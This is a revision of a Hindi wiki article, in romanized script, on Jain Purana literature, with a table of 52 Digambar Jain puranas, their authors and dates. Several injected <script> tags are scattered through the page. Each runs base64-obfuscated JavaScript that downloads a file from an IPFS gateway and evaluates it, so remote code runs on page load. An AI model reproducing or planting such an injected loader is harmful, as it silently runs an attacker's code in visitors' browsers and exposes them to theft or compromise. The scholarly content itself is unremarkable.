जैन पुराण साहित्य

भारत डिस्कवरी प्रस्तुति
Revision as of 11:50, 28 June 2011 by गोविन्द राम (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • bharatiy dharmagranthoan mean 'puran' shabd ka prayog itihas ke arth mean ata hai. kitane vidvanoan ne itihas aur puran ko pancham ved mana hai. chanaky ne apane arthashastr mean itivritt, puran, akhyayika, udaharan, dharmashastr tatha arthashastr ka samavesh kiya hai. isase yah siddh hota hai ki itihas aur puran donoan hi vibhinn haian. itivritt ka ullekh saman hone par bhi donoan apani apani visheshata rakhate haian. itihas jahaan ghatanaoan ka varnan kar nirvrit ho jata hai vahaan puran unake parinam ki or pathak ka chitt akrisht karata hai.

sargashch pratisargashch vansho manvantarani ch.
vanshanucharitanyev puranan panchalakshanamh॥

  • jisamean sarg, pratisarg, vansh, manvantar aur vansh-paramparaoan ka varnan ho, vah puran hai. sarg, pratisarg adi puran ke paanch lakshan haian. tatpary yah ki itivritt keval ghatit ghatanaoan ka ullekh karata hai parantu puran mahapurushoan ke ghatit ghatanaoan ka ullekh karata hua unase prapt phalaphal puny-pap ka bhi varnan karata hai tatha vyakti ke charitr nirman ki apeksha bich-bich mean naitik aur dharmik shikshaoan ka pradarshan bhi karata hai. itivritt mean jahaan keval vartaman ki ghatanaoan ka ullekh rahata hai vahaan puran mean nayak ke atit aur anagat bhavoan ka bhi ullekh rahata hai aur vah isaliye ki janasadharan samajh sake ki mahapurush kaise bana ja sakata hai. avanat se unnat banane ke liye kya-kya tyag, paropakar aur tapasyaean karani p dati haian. manav ke jivan-nirman mean puran ka b da hi mahattvapoorn sthan hai. yahi karan hai ki usamean janasadharan ki shraddha aj bhi yathapoorv akshunn hai.
  • vaidik parampara mean puranoan aur up-puranoan ka jaisa vibhag paya jata hai vaisa jain parampara mean nahian paya jata. parantu yahaan jo bhi puran-sahity vidyaman hai vah apane dhang ka nirala hai. jahaan any puranakar pray: itivritt ki yatharthata ko surakshit nahian rakh sake haian vahaan jain puranakaroan ne yatharthata ko adhik surakshit rakha hai. isiliye aj ke nishpaksh vidvanoan ka yah spasht mat hai ki prakkalin bharatiy sanskriti ko janane ke liye jain puranoan se unake katha granth se jo jnan prapt hota hai, vah asamany hai. yahaan katipay digambar jain puranoan aur charitroan ki soochi is prakar hai-
katipay digambar jain puranoan aur charitroan ki soochi
kramaank purananam rachanakarta rachanakal
1.- padmapuran - padmacharit achary ravishen 705 ee.
2.- mahapuran - adipuran achary jinasen nauvian shati
3.- puran gunabhadr 10vian shati
4.- ajit - puran arunamani 1716
5.- adipuran - (kann d) kavi panp --
6.- adipuran bhattarak chandrakirti 17vian shati
7.- adipuran - bhattarak sakalakirti 15vian shati
8.- uttar puran bhattarak sakalakirti 15vian shati
9.- karnamrit - puran keshavasen 1608
10.- jayakumar - puran br0 kamaraj 1555
11.- chandraprabhapuran kavi agasadev --
12.- chamund puran chamundaray sh. san. 980
13.- dharmanath puran kavi bahubali --
14.- neminath puran nemidatt 1575 ke lagabhag
15.- padmanabhapuran bhattarak shubhachandr 17vian shati
16.- pum chariu - (apabhransh) chaturmukh dev --
17.- pum chariu svayanbhoodev --
18.- padmapuran somaten --
19.- padmapuran dharmakirti 1656
20.- padmapuran -(apabhransh) kavi ridhoo 15-16 shati
21.- padmapuran - chandrakirti 17vian shati
22.- padmapuran brahm jinadas 13-16 shati
23.- pandav puran shubhachandr 1608
24.- pandav puran - (apabhransh) yashakirti 1497
25.- pandav puran shribhooshan 1658
26.- pandav puran vadichandr 1658
27.- parshvapuran - (apabhransh) padmakirti 989
28.- parshvapuran kavi ridhoo 15-16 shati
29.- parshvapuran chandrakirti 1654
30.- parshvapuran vadichandr 1658
31.- mahapuran achary mallishen 1104
32.- mahapuran - (apabhransh) mahakavi pushpadant --
33.- mallinathapuran kavi nagachandr --
34.- puranasar shrichandr --
35.- mahavirapuran (vardhaman charit) asag 910
36.- mahavir puran sakalakirti 15vian shati
37.- mallinath puran sakalakirti 15vian shati
38.- munisuvrat puran brahm krishnadas --
39.- munisuvrat puran surendrakirti --
40.- vagarthasangrah puran kavi parameshthi
41.- shantinath puran asag 910
42.- shantinath puran bh0 shribhooshan 1658
43.- shripuran bh0 gunabhadr --
44.- harivanshapuran - punnat sanghiy jinasen sh. san. 705
45.- harivanshapuran - (apabhransh) svayanbhoodev --
46.- harivanshapuran -tadaiv chaturmukh dev --
47.- harivanshapuran brahm jinadas 15-16 shati
48.- harivanshapuran- tadaivh bh0 - yash:kirti 1507
49.- harivanshapuran bh0 shrutakirti 1552
50.- harivanshapuran mahakavi ridhoo 15-16 shati
51.- harivanshapuran bh0 dharmakirti 1671
52.- harivanshapuran kavi ramachandr 1560 ke poorv
  • inake atirikt charit-granth haian, jinaki sankhya puranoan ki sankhya se adhik hai aur jinamean varangacharit, jinadattacharit, jamboosvamicharit, jasahar chariu, nagakumar chariu, adi kitane hi mahattvapoorn granth sammilit haian. inamean ravishen ka padmapuran, jinasen ka mahapuran (adi puran), gunabhadr ka uttar puran aur punnat sanghiy jinasen ka harianvashapuran vishrut aur sarvashreshth puran mane jate haian, kyoanki inamean puran ka poorn lakshan ghatit hota hai. inaki rachana puran aur kavy donoan ki shaili se ki gee hai.


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>